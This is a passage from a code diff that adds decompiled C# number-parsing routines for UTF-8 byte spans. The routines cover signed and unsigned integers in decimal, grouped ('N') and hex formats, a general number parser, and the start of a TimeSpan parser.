9) + { + bytesConsumed = k; + value = (long)num5 * (long)num2; + return true; + } + bool flag = num2 > 0; + bool flag2 = num8 > 8 || (flag && num8 > 7); + if (num5 > 922337203685477580L || (num5 == 922337203685477580L && flag2)) + { + bytesConsumed = 0; + value = 0L; + return false; + } + num5 = num5 * 10 + (ulong)num8; + } + } + bytesConsumed = source.Length; + value = (long)num5 * (long)num2; + return true; + } + + private static bool TryParseSByteN(ReadOnlySpan source, out sbyte value, out int bytesConsumed) + { + int num; + int num2; + int num4; + int num3; + if (source.Length >= 1) + { + num = 1; + num2 = 0; + num3 = source[num2]; + if (num3 == 45) + { + num = -1; + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_00f9; + } + num3 = source[num2]; + } + else if (num3 == 43) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_00f9; + } + num3 = source[num2]; + } + if (num3 != 46) + { + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num4 = num3 - 48; + while (true) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + break; + } + num3 = source[num2]; + if (num3 == 44) + { + continue; + } + if (num3 == 46) + { + goto IL_00d4; + } + if (!System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + break; + } + num4 = num4 * 10 + num3 - 48; + if (num4 <= 127 + (-1 * num + 1) / 2) + { + continue; + } + goto IL_00f9; + } + goto IL_0101; + } + } + else + { + num4 = 0; + num2++; + if ((uint)num2 < (uint)source.Length && source[num2] == 48) + { + goto IL_00d4; + } + } + } + goto IL_00f9; + IL_00f9: + bytesConsumed = 0; + value = 0; + return false; + IL_00f1: + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + goto IL_00f9; + } + goto IL_0101; + IL_00d4: + while (true) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + break; + } + num3 = source[num2]; + if (num3 == 48) + { + continue; + } + goto IL_00f1; + } + goto IL_0101; + IL_0101: + bytesConsumed = num2; + value = (sbyte)(num4 * num); + return true; + } + + private static bool TryParseInt16N(ReadOnlySpan source, out short value, out int bytesConsumed) + { + int num; + int num2; + int num4; + int num3; + if (source.Length >= 1) + { + num = 1; + num2 = 0; + num3 = source[num2]; + if (num3 == 45) + { + num = -1; + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_00ff; + } + num3 = source[num2]; + } + else if (num3 == 43) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_00ff; + } + num3 = source[num2]; + } + if (num3 != 46) + { + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num4 = num3 - 48; + while (true) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + break; + } + num3 = source[num2]; + if (num3 == 44) + { + continue; + } + if (num3 == 46) + { + goto IL_00da; + } + if (!System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + break; + } + num4 = num4 * 10 + num3 - 48; + if (num4 <= 32767 + (-1 * num + 1) / 2) + { + continue; + } + goto IL_00ff; + } + goto IL_0107; + } + } + else + { + num4 = 0; + num2++; + if ((uint)num2 < (uint)source.Length && source[num2] == 48) + { + goto IL_00da; + } + } + } + goto IL_00ff; + IL_00ff: + bytesConsumed = 0; + value = 0; + return false; + IL_00f7: + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + goto IL_00ff; + } + goto IL_0107; + IL_00da: + while (true) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + break; + } + num3 = source[num2]; + if (num3 == 48) + { + continue; + } + goto IL_00f7; + } + goto IL_0107; + IL_0107: + bytesConsumed = num2; + value = (short)(num4 * num); + return true; + } + + private static bool TryParseInt32N(ReadOnlySpan source, out int value, out int bytesConsumed) + { + int num; + int num2; + int num4; + int num3; + if (source.Length >= 1) + { + num = 1; + num2 = 0; + num3 = source[num2]; + if (num3 == 45) + { + num = -1; + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_010a; + } + num3 = source[num2]; + } + else if (num3 == 43) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_010a; + } + num3 = source[num2]; + } + if (num3 != 46) + { + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num4 = num3 - 48; + while (true) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + break; + } + num3 = source[num2]; + if (num3 == 44) + { + continue; + } + if (num3 == 46) + { + goto IL_00e5; + } + if (!System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + break; + } + if ((uint)num4 <= 214748364u) + { + num4 = num4 * 10 + num3 - 48; + if ((uint)num4 <= 2147483647L + (long)((-1 * num + 1) / 2)) + { + continue; + } + } + goto IL_010a; + } + goto IL_0112; + } + } + else + { + num4 = 0; + num2++; + if ((uint)num2 < (uint)source.Length && source[num2] == 48) + { + goto IL_00e5; + } + } + } + goto IL_010a; + IL_010a: + bytesConsumed = 0; + value = 0; + return false; + IL_0102: + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + goto IL_010a; + } + goto IL_0112; + IL_00e5: + while (true) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + break; + } + num3 = source[num2]; + if (num3 == 48) + { + continue; + } + goto IL_0102; + } + goto IL_0112; + IL_0112: + bytesConsumed = num2; + value = num4 * num; + return true; + } + + private static bool TryParseInt64N(ReadOnlySpan source, out long value, out int bytesConsumed) + { + int num; + int num2; + long num4; + int num3; + if (source.Length >= 1) + { + num = 1; + num2 = 0; + num3 = source[num2]; + if (num3 == 45) + { + num = -1; + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_0115; + } + num3 = source[num2]; + } + else if (num3 == 43) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_0115; + } + num3 = source[num2]; + } + if (num3 != 46) + { + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num4 = num3 - 48; + while (true) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + break; + } + num3 = source[num2]; + if (num3 == 44) + { + continue; + } + if (num3 == 46) + { + goto IL_00f0; + } + if (!System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + break; + } + if ((ulong)num4 <= 922337203685477580uL) + { + num4 = num4 * 10 + num3 - 48; + if ((ulong)num4 <= (ulong)(long.MaxValue + (-1 * num + 1) / 2)) + { + continue; + } + } + goto IL_0115; + } + goto IL_011e; + } + } + else + { + num4 = 0L; + num2++; + if ((uint)num2 < (uint)source.Length && source[num2] == 48) + { + goto IL_00f0; + } + } + } + goto IL_0115; + IL_0115: + bytesConsumed = 0; + value = 0L; + return false; + IL_010d: + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + goto IL_0115; + } + goto IL_011e; + IL_00f0: + while (true) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + break; + } + num3 = source[num2]; + if (num3 == 48) + { + continue; + } + goto IL_010d; + } + goto IL_011e; + IL_011e: + bytesConsumed = num2; + value = num4 * num; + return true; + } + + public static bool TryParse(ReadOnlySpan source, out byte value, out int bytesConsumed, char standardFormat = '\0') + { + switch (standardFormat) + { + case '\0': + case 'D': + case 'G': + case 'd': + case 'g': + return TryParseByteD(source, out value, out bytesConsumed); + case 'N': + case 'n': + return TryParseByteN(source, out value, out bytesConsumed); + case 'X': + case 'x': + return TryParseByteX(source, out value, out bytesConsumed); + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + } + + [CLSCompliant(false)] + public static bool TryParse(ReadOnlySpan source, out ushort value, out int bytesConsumed, char standardFormat = '\0') + { + switch (standardFormat) + { + case '\0': + case 'D': + case 'G': + case 'd': + case 'g': + return TryParseUInt16D(source, out value, out bytesConsumed); + case 'N': + case 'n': + return TryParseUInt16N(source, out value, out bytesConsumed); + case 'X': + case 'x': + return TryParseUInt16X(source, out value, out bytesConsumed); + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + } + + [CLSCompliant(false)] + public static bool TryParse(ReadOnlySpan source, out uint value, out int bytesConsumed, char standardFormat = '\0') + { + switch (standardFormat) + { + case '\0': + case 'D': + case 'G': + case 'd': + case 'g': + return TryParseUInt32D(source, out value, out bytesConsumed); + case 'N': + case 'n': + return TryParseUInt32N(source, out value, out bytesConsumed); + case 'X': + case 'x': + return TryParseUInt32X(source, out value, out bytesConsumed); + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + } + + [CLSCompliant(false)] + public static bool TryParse(ReadOnlySpan source, out ulong value, out int bytesConsumed, char standardFormat = '\0') + { + switch (standardFormat) + { + case '\0': + case 'D': + case 'G': + case 'd': + case 'g': + return TryParseUInt64D(source, out value, out bytesConsumed); + case 'N': + case 'n': + return TryParseUInt64N(source, out value, out bytesConsumed); + case 'X': + case 'x': + return TryParseUInt64X(source, out value, out bytesConsumed); + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + } + + private static bool TryParseByteD(ReadOnlySpan source, out byte value, out int bytesConsumed) + { + int num; + int num3; + int num2; + if (source.Length >= 1) + { + num = 0; + num2 = source[num]; + num3 = 0; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + if (num2 != 48) + { + goto IL_0056; + } + while (true) + { + num++; + if ((uint)num >= (uint)source.Length) + { + break; + } + num2 = source[num]; + if (num2 == 48) + { + continue; + } + goto IL_004b; + } + goto IL_00dd; + } + } + goto IL_00d5; + IL_004b: + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + goto IL_0056; + } + goto IL_00dd; + IL_0056: + num3 = num2 - 48; + num++; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = num3 * 10 + num2 - 48; + if ((uint)num3 > 255u || ((uint)num < (uint)source.Length && System.Buffers.Text.ParserHelpers.IsDigit(source[num]))) + { + goto IL_00d5; + } + } + } + } + } + goto IL_00dd; + IL_00dd: + bytesConsumed = num; + value = (byte)num3; + return true; + IL_00d5: + bytesConsumed = 0; + value = 0; + return false; + } + + private static bool TryParseUInt16D(ReadOnlySpan source, out ushort value, out int bytesConsumed) + { + int num; + int num3; + int num2; + if (source.Length >= 1) + { + num = 0; + num2 = source[num]; + num3 = 0; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + if (num2 != 48) + { + goto IL_0056; + } + while (true) + { + num++; + if ((uint)num >= (uint)source.Length) + { + break; + } + num2 = source[num]; + if (num2 == 48) + { + continue; + } + goto IL_004b; + } + goto IL_013d; + } + } + goto IL_0135; + IL_004b: + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + goto IL_0056; + } + goto IL_013d; + IL_0056: + num3 = num2 - 48; + num++; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = num3 * 10 + num2 - 48; + if ((uint)num3 > 65535u || ((uint)num < (uint)source.Length && System.Buffers.Text.ParserHelpers.IsDigit(source[num]))) + { + goto IL_0135; + } + } + } + } + } + } + } + } + } + goto IL_013d; + IL_013d: + bytesConsumed = num; + value = (ushort)num3; + return true; + IL_0135: + bytesConsumed = 0; + value = 0; + return false; + } + + private static bool TryParseUInt32D(ReadOnlySpan source, out uint value, out int bytesConsumed) + { + int num; + int num3; + int num2; + if (source.Length >= 1) + { + num = 0; + num2 = source[num]; + num3 = 0; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + if (num2 != 48) + { + goto IL_0056; + } + while (true) + { + num++; + if ((uint)num >= (uint)source.Length) + { + break; + } + num2 = source[num]; + if (num2 == 48) + { + continue; + } + goto IL_004b; + } + goto IL_023d; + } + } + goto IL_0235; + IL_004b: + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + goto IL_0056; + } + goto IL_023d; + IL_0056: + num3 = num2 - 48; + num++; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + num3 = 10 * num3 + num2 - 48; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num++; + if ((uint)num3 <= 429496729u && (num3 != 429496729 || num2 <= 53)) + { + num3 = num3 * 10 + num2 - 48; + if ((uint)num >= (uint)source.Length || !System.Buffers.Text.ParserHelpers.IsDigit(source[num])) + { + goto IL_023d; + } + } + goto IL_0235; + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + goto IL_023d; + IL_023d: + bytesConsumed = num; + value = (uint)num3; + return true; + IL_0235: + bytesConsumed = 0; + value = 0u; + return false; + } + + private static bool TryParseUInt64D(ReadOnlySpan source, out ulong value, out int bytesConsumed) + { + if (source.Length < 1) + { + bytesConsumed = 0; + value = 0uL; + return false; + } + ulong num = (uint)(source[0] - 48); + if (num > 9) + { + bytesConsumed = 0; + value = 0uL; + return false; + } + ulong num2 = num; + if (source.Length < 19) + { + for (int i = 1; i < source.Length; i++) + { + ulong num3 = (uint)(source[i] - 48); + if (num3 > 9) + { + bytesConsumed = i; + value = num2; + return true; + } + num2 = num2 * 10 + num3; + } + } + else + { + for (int j = 1; j < 18; j++) + { + ulong num4 = (uint)(source[j] - 48); + if (num4 > 9) + { + bytesConsumed = j; + value = num2; + return true; + } + num2 = num2 * 10 + num4; + } + for (int k = 18; k < source.Length; k++) + { + ulong num5 = (uint)(source[k] - 48); + if (num5 > 9) + { + bytesConsumed = k; + value = num2; + return true; + } + if (num2 > 1844674407370955161L || (num2 == 1844674407370955161L && num5 > 5)) + { + bytesConsumed = 0; + value = 0uL; + return false; + } + num2 = num2 * 10 + num5; + } + } + bytesConsumed = source.Length; + value = num2; + return true; + } + + private static bool TryParseByteN(ReadOnlySpan source, out byte value, out int bytesConsumed) + { + int num; + int num3; + int num2; + if (source.Length >= 1) + { + num = 0; + num2 = source[num]; + if (num2 == 43) + { + num++; + if ((uint)num >= (uint)source.Length) + { + goto IL_00ce; + } + num2 = source[num]; + } + if (num2 != 46) + { + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num3 = num2 - 48; + while (true) + { + num++; + if ((uint)num >= (uint)source.Length) + { + break; + } + num2 = source[num]; + if (num2 == 44) + { + continue; + } + if (num2 == 46) + { + goto IL_00a9; + } + if (!System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + break; + } + num3 = num3 * 10 + num2 - 48; + if (num3 <= 255) + { + continue; + } + goto IL_00ce; + } + goto IL_00d6; + } + } + else + { + num3 = 0; + num++; + if ((uint)num < (uint)source.Length && source[num] == 48) + { + goto IL_00a9; + } + } + } + goto IL_00ce; + IL_00c6: + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + goto IL_00ce; + } + goto IL_00d6; + IL_00a9: + while (true) + { + num++; + if ((uint)num >= (uint)source.Length) + { + break; + } + num2 = source[num]; + if (num2 == 48) + { + continue; + } + goto IL_00c6; + } + goto IL_00d6; + IL_00d6: + bytesConsumed = num; + value = (byte)num3; + return true; + IL_00ce: + bytesConsumed = 0; + value = 0; + return false; + } + + private static bool TryParseUInt16N(ReadOnlySpan source, out ushort value, out int bytesConsumed) + { + int num; + int num3; + int num2; + if (source.Length >= 1) + { + num = 0; + num2 = source[num]; + if (num2 == 43) + { + num++; + if ((uint)num >= (uint)source.Length) + { + goto IL_00ce; + } + num2 = source[num]; + } + if (num2 != 46) + { + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num3 = num2 - 48; + while (true) + { + num++; + if ((uint)num >= (uint)source.Length) + { + break; + } + num2 = source[num]; + if (num2 == 44) + { + continue; + } + if (num2 == 46) + { + goto IL_00a9; + } + if (!System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + break; + } + num3 = num3 * 10 + num2 - 48; + if (num3 <= 65535) + { + continue; + } + goto IL_00ce; + } + goto IL_00d6; + } + } + else + { + num3 = 0; + num++; + if ((uint)num < (uint)source.Length && source[num] == 48) + { + goto IL_00a9; + } + } + } + goto IL_00ce; + IL_00c6: + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + goto IL_00ce; + } + goto IL_00d6; + IL_00a9: + while (true) + { + num++; + if ((uint)num >= (uint)source.Length) + { + break; + } + num2 = source[num]; + if (num2 == 48) + { + continue; + } + goto IL_00c6; + } + goto IL_00d6; + IL_00d6: + bytesConsumed = num; + value = (ushort)num3; + return true; + IL_00ce: + bytesConsumed = 0; + value = 0; + return false; + } + + private static bool TryParseUInt32N(ReadOnlySpan source, out uint value, out int bytesConsumed) + { + int num; + int num3; + int num2; + if (source.Length >= 1) + { + num = 0; + num2 = source[num]; + if (num2 == 43) + { + num++; + if ((uint)num >= (uint)source.Length) + { + goto IL_00de; + } + num2 = source[num]; + } + if (num2 != 46) + { + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num3 = num2 - 48; + while (true) + { + num++; + if ((uint)num >= (uint)source.Length) + { + break; + } + num2 = source[num]; + if (num2 == 44) + { + continue; + } + if (num2 == 46) + { + goto IL_00b9; + } + if (!System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + break; + } + if ((uint)num3 <= 429496729u && (num3 != 429496729 || num2 <= 53)) + { + num3 = num3 * 10 + num2 - 48; + continue; + } + goto IL_00de; + } + goto IL_00e6; + } + } + else + { + num3 = 0; + num++; + if ((uint)num < (uint)source.Length && source[num] == 48) + { + goto IL_00b9; + } + } + } + goto IL_00de; + IL_00de: + bytesConsumed = 0; + value = 0u; + return false; + IL_00b9: + while (true) + { + num++; + if ((uint)num >= (uint)source.Length) + { + break; + } + num2 = source[num]; + if (num2 == 48) + { + continue; + } + goto IL_00d6; + } + goto IL_00e6; + IL_00e6: + bytesConsumed = num; + value = (uint)num3; + return true; + IL_00d6: + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + goto IL_00de; + } + goto IL_00e6; + } + + private static bool TryParseUInt64N(ReadOnlySpan source, out ulong value, out int bytesConsumed) + { + int num; + long num3; + int num2; + if (source.Length >= 1) + { + num = 0; + num2 = source[num]; + if (num2 == 43) + { + num++; + if ((uint)num >= (uint)source.Length) + { + goto IL_00eb; + } + num2 = source[num]; + } + if (num2 != 46) + { + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + num3 = num2 - 48; + while (true) + { + num++; + if ((uint)num >= (uint)source.Length) + { + break; + } + num2 = source[num]; + if (num2 == 44) + { + continue; + } + if (num2 == 46) + { + goto IL_00c6; + } + if (!System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + break; + } + if ((ulong)num3 <= 1844674407370955161uL && (num3 != 1844674407370955161L || num2 <= 53)) + { + num3 = num3 * 10 + num2 - 48; + continue; + } + goto IL_00eb; + } + goto IL_00f4; + } + } + else + { + num3 = 0L; + num++; + if ((uint)num < (uint)source.Length && source[num] == 48) + { + goto IL_00c6; + } + } + } + goto IL_00eb; + IL_00eb: + bytesConsumed = 0; + value = 0uL; + return false; + IL_00c6: + while (true) + { + num++; + if ((uint)num >= (uint)source.Length) + { + break; + } + num2 = source[num]; + if (num2 == 48) + { + continue; + } + goto IL_00e3; + } + goto IL_00f4; + IL_00f4: + bytesConsumed = num; + value = (ulong)num3; + return true; + IL_00e3: + if (System.Buffers.Text.ParserHelpers.IsDigit(num2)) + { + goto IL_00eb; + } + goto IL_00f4; + } + + private static bool TryParseByteX(ReadOnlySpan source, out byte value, out int bytesConsumed) + { + if (source.Length < 1) + { + bytesConsumed = 0; + value = 0; + return false; + } + byte[] s_hexLookup = System.Buffers.Text.ParserHelpers.s_hexLookup; + byte b = source[0]; + byte b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = 0; + value = 0; + return false; + } + uint num = b2; + if (source.Length <= 2) + { + for (int i = 1; i < source.Length; i++) + { + b = source[i]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = i; + value = (byte)num; + return true; + } + num = (num << 4) + b2; + } + } + else + { + for (int j = 1; j < 2; j++) + { + b = source[j]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = j; + value = (byte)num; + return true; + } + num = (num << 4) + b2; + } + for (int k = 2; k < source.Length; k++) + { + b = source[k]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = k; + value = (byte)num; + return true; + } + if (num > 15) + { + bytesConsumed = 0; + value = 0; + return false; + } + num = (num << 4) + b2; + } + } + bytesConsumed = source.Length; + value = (byte)num; + return true; + } + + private static bool TryParseUInt16X(ReadOnlySpan source, out ushort value, out int bytesConsumed) + { + if (source.Length < 1) + { + bytesConsumed = 0; + value = 0; + return false; + } + byte[] s_hexLookup = System.Buffers.Text.ParserHelpers.s_hexLookup; + byte b = source[0]; + byte b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = 0; + value = 0; + return false; + } + uint num = b2; + if (source.Length <= 4) + { + for (int i = 1; i < source.Length; i++) + { + b = source[i]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = i; + value = (ushort)num; + return true; + } + num = (num << 4) + b2; + } + } + else + { + for (int j = 1; j < 4; j++) + { + b = source[j]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = j; + value = (ushort)num; + return true; + } + num = (num << 4) + b2; + } + for (int k = 4; k < source.Length; k++) + { + b = source[k]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = k; + value = (ushort)num; + return true; + } + if (num > 4095) + { + bytesConsumed = 0; + value = 0; + return false; + } + num = (num << 4) + b2; + } + } + bytesConsumed = source.Length; + value = (ushort)num; + return true; + } + + private static bool TryParseUInt32X(ReadOnlySpan source, out uint value, out int bytesConsumed) + { + if (source.Length < 1) + { + bytesConsumed = 0; + value = 0u; + return false; + } + byte[] s_hexLookup = System.Buffers.Text.ParserHelpers.s_hexLookup; + byte b = source[0]; + byte b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = 0; + value = 0u; + return false; + } + uint num = b2; + if (source.Length <= 8) + { + for (int i = 1; i < source.Length; i++) + { + b = source[i]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = i; + value = num; + return true; + } + num = (num << 4) + b2; + } + } + else + { + for (int j = 1; j < 8; j++) + { + b = source[j]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = j; + value = num; + return true; + } + num = (num << 4) + b2; + } + for (int k = 8; k < source.Length; k++) + { + b = source[k]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = k; + value = num; + return true; + } + if (num > 268435455) + { + bytesConsumed = 0; + value = 0u; + return false; + } + num = (num << 4) + b2; + } + } + bytesConsumed = source.Length; + value = num; + return true; + } + + private static bool TryParseUInt64X(ReadOnlySpan source, out ulong value, out int bytesConsumed) + { + if (source.Length < 1) + { + bytesConsumed = 0; + value = 0uL; + return false; + } + byte[] s_hexLookup = System.Buffers.Text.ParserHelpers.s_hexLookup; + byte b = source[0]; + byte b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = 0; + value = 0uL; + return false; + } + ulong num = b2; + if (source.Length <= 16) + { + for (int i = 1; i < source.Length; i++) + { + b = source[i]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = i; + value = num; + return true; + } + num = (num << 4) + b2; + } + } + else + { + for (int j = 1; j < 16; j++) + { + b = source[j]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = j; + value = num; + return true; + } + num = (num << 4) + b2; + } + for (int k = 16; k < source.Length; k++) + { + b = source[k]; + b2 = s_hexLookup[b]; + if (b2 == byte.MaxValue) + { + bytesConsumed = k; + value = num; + return true; + } + if (num > 1152921504606846975L) + { + bytesConsumed = 0; + value = 0uL; + return false; + } + num = (num << 4) + b2; + } + } + bytesConsumed = source.Length; + value = num; + return true; + } + + private static bool TryParseNumber(ReadOnlySpan source, ref NumberBuffer number, out int bytesConsumed, ParseNumberOptions options, out bool textUsedExponentNotation) + { + textUsedExponentNotation = false; + if (source.Length == 0) + { + bytesConsumed = 0; + return false; + } + Span digits = number.Digits; + int i = 0; + int num = 0; + byte b = source[i]; + if (b != 43) + { + if (b != 45) + { + goto IL_0055; + } + number.IsNegative = true; + } + i++; + if (i == source.Length) + { + bytesConsumed = 0; + return false; + } + b = source[i]; + goto IL_0055; + IL_0229: + if (!TryParseUInt32D(source.Slice(i), out var value, out var bytesConsumed2)) + { + bytesConsumed = 0; + return false; + } + i += bytesConsumed2; + bool flag; + if (flag) + { + if (number.Scale < int.MinValue + value) + { + number.Scale = int.MinValue; + } + else + { + number.Scale -= (int)value; + } + } + else + { + if (number.Scale > 2147483647L - (long)value) + { + bytesConsumed = 0; + return false; + } + number.Scale += (int)value; + } + bytesConsumed = i; + return true; + IL_0055: + int num2 = i; + for (; i != source.Length; i++) + { + b = source[i]; + if (b != 48) + { + break; + } + } + if (i == source.Length) + { + digits[0] = 0; + number.Scale = 0; + bytesConsumed = i; + return true; + } + int num3 = i; + for (; i != source.Length; i++) + { + b = source[i]; + if ((uint)(b - 48) > 9u) + { + break; + } + } + int num4 = i - num2; + int num5 = i - num3; + int num6 = Math.Min(num5, 50); + source.Slice(num3, num6).CopyTo(digits); + num = num6; + number.Scale = num5; + if (i == source.Length) + { + bytesConsumed = i; + return true; + } + int num7 = 0; + if (b == 46) + { + i++; + int num8 = i; + for (; i != source.Length; i++) + { + b = source[i]; + if ((uint)(b - 48) > 9u) + { + break; + } + } + num7 = i - num8; + int j = num8; + if (num == 0) + { + for (; j < i && source[j] == 48; j++) + { + number.Scale--; + } + } + int num9 = Math.Min(i - j, 51 - num - 1); + source.Slice(j, num9).CopyTo(digits.Slice(num)); + num += num9; + if (i == source.Length) + { + if (num4 == 0 && num7 == 0) + { + bytesConsumed = 0; + return false; + } + bytesConsumed = i; + return true; + } + } + if (num4 == 0 && num7 == 0) + { + bytesConsumed = 0; + return false; + } + if ((b & -33) != 69) + { + bytesConsumed = i; + return true; + } + textUsedExponentNotation = true; + i++; + if ((options & ParseNumberOptions.AllowExponent) == 0) + { + bytesConsumed = 0; + return false; + } + if (i == source.Length) + { + bytesConsumed = 0; + return false; + } + flag = false; + b = source[i]; + if (b != 43) + { + if (b != 45) + { + goto IL_0229; + } + flag = true; + } + i++; + if (i == source.Length) + { + bytesConsumed = 0; + return false; + } + b = source[i]; + goto IL_0229; + } + + private static bool TryParseTimeSpanBigG(ReadOnlySpan source, out TimeSpan value, out int bytesConsumed) + { + int i = 0; + byte b = 0; + for (; i != source.Length; i++) + { + b = source[i]; + if (b != 32 && b != 9) + { + break; + } + } + if (i == source.Length) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + bool isNegative = false; + if (b == 45) + { + isNegative = true; + i++; + if (i == source.Length) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + } + if (!TryParseUInt32D(source.Slice(i), out var value2, out var bytesConsumed2)) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + i += bytesConsumed2; + if (i == source.Length || source[i++] != 58) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + if (!TryParseUInt32D(source.Slice(i), out var value3, out bytesConsumed2)) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + i += bytesConsumed2; + if (i == source.Length || source[i++] != 58) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + if (!TryParseUInt32D(source.Slice(i), out var value4, out bytesConsumed2)) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + i += bytesConsumed2; + if (i == source.Length || source[i++] != 58) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + if 